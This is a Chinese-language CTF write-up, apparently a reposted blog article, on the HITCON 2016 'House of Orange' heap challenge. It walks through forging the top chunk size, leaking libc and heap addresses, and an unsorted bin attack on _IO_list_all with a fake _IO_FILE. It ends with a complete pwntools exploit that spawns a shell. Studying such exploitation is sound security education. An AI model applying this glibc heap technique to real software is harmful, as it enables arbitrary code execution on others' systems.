zoukankan      html  css  js  c++  java
  • House of Orange

    题目附件:https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/house-of-orange-500

    查看程序保护:

     发现保护全开,再查看IDA反编译出来的代码,在upgrade()函数中发现明显的堆溢出漏洞:

     这题的难点没有free函数,但是对溢出没有限制,且mallocsize我们可以自己控制,所以可以载top_chunk上做文章。

    利用思路:

    • 修改top_chunksize小于要分配的size,这样old_top会被放入unsorted_bin
    • malloc一个largebin大小的chunk,此chunk会从已放入unsorted_bin中的old_top切割出来,并在chunk中写入该chunk的地址,并泄漏chunk地址和libc的地址
    • 修改利用unsorted bin attack修改_IO_list_all中的值,并伪造一个_IO_FILE,最终getshell

    完整的exp我会放在最后,现在我们分步来看利用过程。

    第一步:修改top_chunksize,并将其放入unsorted bin中。

    ptmalloc的堆管理机制中,首先会取各个bin中找对应大小的chunk,如果找不到,才会去从top_chunk中分割。如果top_chunk的大小也不够,此时有两个选择:

    • 如果利用申请的chunk大小小于128KB,利用brk扩展top_chunk
    • 申请的chunk大小大于128KB,利用mmap分配堆

    为了完成利用,我们需要控制分配的chunk大小小于128KB,也就是利用第一种方式分配chunk。来看看sysmalloc的部分源码:

      /* Record incoming configuration of top */
    
          old_top = av->top;
          old_size = chunksize (old_top);
          old_end = (char *) (chunk_at_offset (old_top, old_size));
    
          brk = snd_brk = (char *) (MORECORE_FAILURE);
    
      /*
         If not the first time through, we require old_size to be
         at least MINSIZE and to have prev_inuse set.
       */
    
        //前半部分是针对第一次调用此函数,top_chunk没有初始化的情况
          assert ((old_top == initial_top (av) && old_size == 0) ||
                ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) &&
                 ((unsigned long) old_end & (pagesize - 1)) == 0)); //检查top_chunk结束的的地址是否页对齐
    
      /* Precondition: not enough current space to satisfy nb request */
          assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

    我们可以发现伪造的top_chunk的size要满足一下条件:

    • size要大于MINSIZE(这个我不清楚具体的数值,但是只要不是太小都可以)
    • size的inuse位要为1
    • old_top + size得出来的地址要满足页对齐,也就是后三个16进制位为0,如0x632000就满足页对齐
    • size要小于你要申请的chunk的大小

    部分利用代码如下:

    Build(0x80, 'simple', 0x1234, 0xddaa)
    payload = 'x00'*0x88 + p64(0x21) + 'x34x12x00x00xaaxddx00x00' + p64(0) + p64(0) + p64(0xf30) #伪造的的top_chunk的size为0xf30
    Upgrade(len(payload), payload, 0x1234, 0xddaa)

    第二步:申请largebin大小的chunk触发_int_free把old_top放入unsorted bin中

    部分源码:

                        if (old_size != 0)
                        {
                          /*
                             Shrink old_top to insert fenceposts, keeping size a
                             multiple of MALLOC_ALIGNMENT. We know there is at least
                             enough space in old_top to do this.
                           */
                              old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
                              set_head (old_top, old_size | PREV_INUSE);
    
                              /*
                                 Note that the following assignments completely overwrite
                                 old_top when old_size was previously MINSIZE.  This is
                                 intentional. We need the fencepost, even if old_top otherwise gets
                                 lost.
                               */
                              chunk_at_offset (old_top, old_size)->size = (2 * SIZE_SZ) | PREV_INUSE;
    
                              chunk_at_offset (old_top, old_size + 2 * SIZE_SZ)->size = (2 * SIZE_SZ) | PREV_INUSE;
    
                              /* If possible, release the rest. */
                              if (old_size >= MINSIZE)
                              {
                                  _int_free (av, old_top, 1);
                              }
                        }

    可以看出最后会调用_int_free把old_top放入unsorted bin中

    部分利用脚本:

    Build(0x400, 'AAAAAAAA', 0x1234, 0xddaa) #申请大小属于largebin的chunk
    gdb.attach(p)
    See()
    p.recvuntil('Name of house : AAAAAAAA')
    libc_base = u64(p.recv(6).ljust(8, 'x00')) - 0x3c5188
    info("libc_base ==> " + hex(libc_base))
    
    payload = 'A'*16
    Upgrade(len(payload), payload, 0x1234, 0xddaa)
    See()
    p.recvuntil('A'*16)
    chunk_addr = u64(p.recv(6).ljust(8, 'x00'))
    info("chunk_addr ==> " + hex(chunk_addr))

    第三步:修改利用unsorted bin attack修改_IO_list_all中的值,并伪造一个_IO_FILE,最终getshell

    这一部分要用到文件IO的知识。主要函数调用过程为:malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow

    先利用unsored bin attack修改__IO_list_all中的值为main_arena + 88,在修改fd时同时修改unosrted bin chunk的大小为0x60。之所以是0x60,是为了让chunk的地址刚好落在chain的位置上。

    在malloc时unsorted chunk会被放入small bin中。来看看_IO_flush_all_lockp的部分源码:

              if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
    #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
                   || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                        > fp->_wide_data->_IO_write_base))
    #endif
                   )
              && _IO_OVERFLOW (fp, EOF) == EOF) //要想执行_IO_OVERFLOW必须满足逻辑与符号前面的条件为真

    绕过检查,上述条件,最终exp如下:

    from pwn import *
    context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
    p = process('./houseoforange')
    elf = ELF('houseoforange')
    libc = elf.libc
    
    def Build(length, name, price, color):
        p.sendlineafter('Your choice : ', '1')
        p.sendlineafter('Length of name :', str(length))
        p.sendafter('Name :', name)
        p.sendlineafter('Price of Orange:', str(price))
        p.sendlineafter('Color of Orange:', str(color))
        
    def See():
        p.sendlineafter('Your choice : ', '2')
    
    def Upgrade(length, name, price, color):
        p.sendlineafter('Your choice : ', '3')
        p.sendlineafter('Length of name :', str(length))
        p.sendafter('Name:', name)
        p.sendlineafter('Price of Orange: ', str(price))
        p.sendlineafter('Color of Orange: ', str(color))
    
    Build(0x80, 'simple', 0x1234, 0xddaa)
    payload = 'x00'*0x88 + p64(0x21) + 'x34x12x00x00xaaxddx00x00' + p64(0) + p64(0) + p64(0xf30) #伪造的的top_chunk的size为0xf30
    Upgrade(len(payload), payload, 0x1234, 0xddaa)
    Build(0x1000, 'AAAAAAAA', 0x1234, 0xddaa)
    Build(0x400, 'AAAAAAAA', 0x1234, 0xddaa) #申请大小属于largebin的chunk
    gdb.attach(p)
    See()
    p.recvuntil('Name of house : AAAAAAAA')
    libc_base = u64(p.recv(6).ljust(8, 'x00')) - 0x3c5188
    info("libc_base ==> " + hex(libc_base))
    
    payload = 'A'*16
    Upgrade(len(payload), payload, 0x1234, 0xddaa)
    See()
    p.recvuntil('A'*16)
    chunk_addr = u64(p.recv(6).ljust(8, 'x00'))
    info("chunk_addr ==> " + hex(chunk_addr))
    
    _IO_list_all = libc.symbols['_IO_list_all'] + libc_base
    system = libc.symbols['system'] + libc_base
    info('-------------------------unsorted bin and build fake file-----------------')
    
    vtable = chunk_addr + 0x510
    payload  = 'x00'*0x400 + p64(0) + p64(0x21) + 'x34x12x00x00xaaxddx00x00' + p64(0)
    payload += '/bin/shx00' + p64(0x60) + p64(0) + p64(_IO_list_all-0x10) + 'x00'*8 + p64(1) + 'x00'*0xa8 + p64(vtable)
    payload += 'x00'*0x18 + p64(system)
    Upgrade(len(payload), payload, 0x1234, 0xddaa)
    
    p.sendlineafter('Your choice : ', '1')
    
    p.interactive()
  • 相关阅读:
    STM32 USART整理说明(转)
    C++ 如何初始化静态类成员
    scp、sftp和ftps
    PostGIS介绍
    string.h和strings.h的区别
    linux编程中的段错误
    Linux中的man命令
    undefinded reference to 'pthread_create'问题
    多核编程框架
    与ComboBox有相似行为的下拉控件的实现
  • 原文地址:https://www.cnblogs.com/countfatcode/p/12461399.html
Copyright © 2011-2022 走看看